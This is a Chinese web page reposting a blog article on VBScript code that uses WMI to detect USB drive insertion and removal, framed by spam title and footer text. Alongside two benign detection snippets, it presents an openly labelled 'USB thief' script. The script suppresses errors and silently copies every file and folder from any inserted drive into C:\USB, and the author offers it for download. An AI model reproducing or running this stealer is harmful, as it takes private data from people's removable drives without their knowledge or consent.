中文字幕免费精品_亚洲视频自拍_亚洲综合国产激情另类一区_色综合咪咪久久

2025年云南成考学历提升预报名

用VBS檢測U盤插入與彈出事件的代碼
來源:易賢網 閱讀:1422 次 日期:2016-07-07 15:11:50
溫馨提示:易賢網小編為您整理了“用VBS檢測U盤插入與彈出事件的代碼”,方便廣大網友查閱!

可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環實現的,一點技術含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環,但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現,下面是示例代碼,更詳細的信息請參考MSND文檔。

代碼如下:

Const Configuration_Changed = 1

Const Device_Arrival = 2

Const Device_Removal = 3

Const Docking = 4

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" _

& strComputer & "\root\cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery( _

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

WScript.Echo "U盤插入,盤符為" & _

objLatestEvent.DriveName

Case Device_Removal

WScript.Echo "U盤彈出,盤符為" & _

objLatestEvent.DriveName

End Select

Loop

我也寫了一個U盤小偷程序,自以為比網上抄來抄去的代碼要好,感興趣的可以下載來看看。

代碼如下:

'==========================================

'Name : USB_Stealer

'Date : 2010/5/25

'Author : Demon

'Copyright : Copyright (c) 2010 Demon

'E-Mail : still.demon@gmail.com

'QQ : 380401911

'Website : http://demon.tw

'==========================================

'Option Explicit

On Error Resume Next

Const Target_Folder = "C:\USB"

Call Main()

Sub Main()

On Error Resume Next

Const Device_Arrival = 2

Const Device_Removal = 3

Const strComputer = "."

Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" _

& strComputer & "\root\cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery( _

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

Copy_File objLatestEvent.DriveName

End Select

Loop

End Sub

Sub Copy_File(Folder_Path)

On Error Resume Next

Dim fso,file,folder

Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then

fso.CreateFolder(Target_Folder)

End If

For Each file In fso.GetFolder(Folder_Path).Files

file.Copy Target_Folder & "\" & file.Name,True

Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders

folder.Copy Target_Folder & "\" & folder.Name,True

Next

End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復制粘貼腳本專家的代碼。

代碼如下:

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _

("Select * From __InstanceOperationEvent Within 10 Where " _

& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True

Set objEvent = colEvents.NextEvent

If objEvent.TargetInstance.DriveType = 2 Then

Select Case objEvent.Path_.Class

Case "__InstanceCreationEvent"

Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

" has been added."

Case "__InstanceDeletionEvent"

Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

" has been removed."

End Select

End If

Loop

更多信息請查看腳本欄目

扫描二维码关注易贤网公众号

由于各方面情況的不斷調整與變化,易賢網提供的所有考試信息和咨詢回復僅供參考,敬請考生以權威部門公布的正式信息和咨詢為準!

2026國考·省考課程試聽報名

  • 報班類型
  • 姓名
  • 手機號
  • 驗證碼

【备考推荐】2025年云南特岗教师学科精讲课,免费试看,配套资料包邮到家

關于我們 | 聯系我們 | 人才招聘 | 網站聲明 | 網站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
工業和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
云南網警備案專用圖標
聯系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關注公眾號:hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權所有:易賢網
云南網警報警專用圖標
主站蜘蛛池模板: 峡江县| 上思县| 峡江县| 长子县| 卓资县| 巴青县| 满洲里市| 偃师市| 日喀则市| 卓资县| 波密县| 清徐县| 汝城县| 高邮市| 金溪县| 肃北| 南涧| 武陟县| 洛扎县| 寿阳县| 土默特左旗| 西宁市| 汶上县| 屏边| 安泽县| 梅河口市| 安岳县| 嘉荫县| 上栗县| 泸州市| 中牟县| 托里县| 肇源县| 横山县| 融水| 日土县| 龙井市| 内丘县| 峨山| 三江| 陆丰市|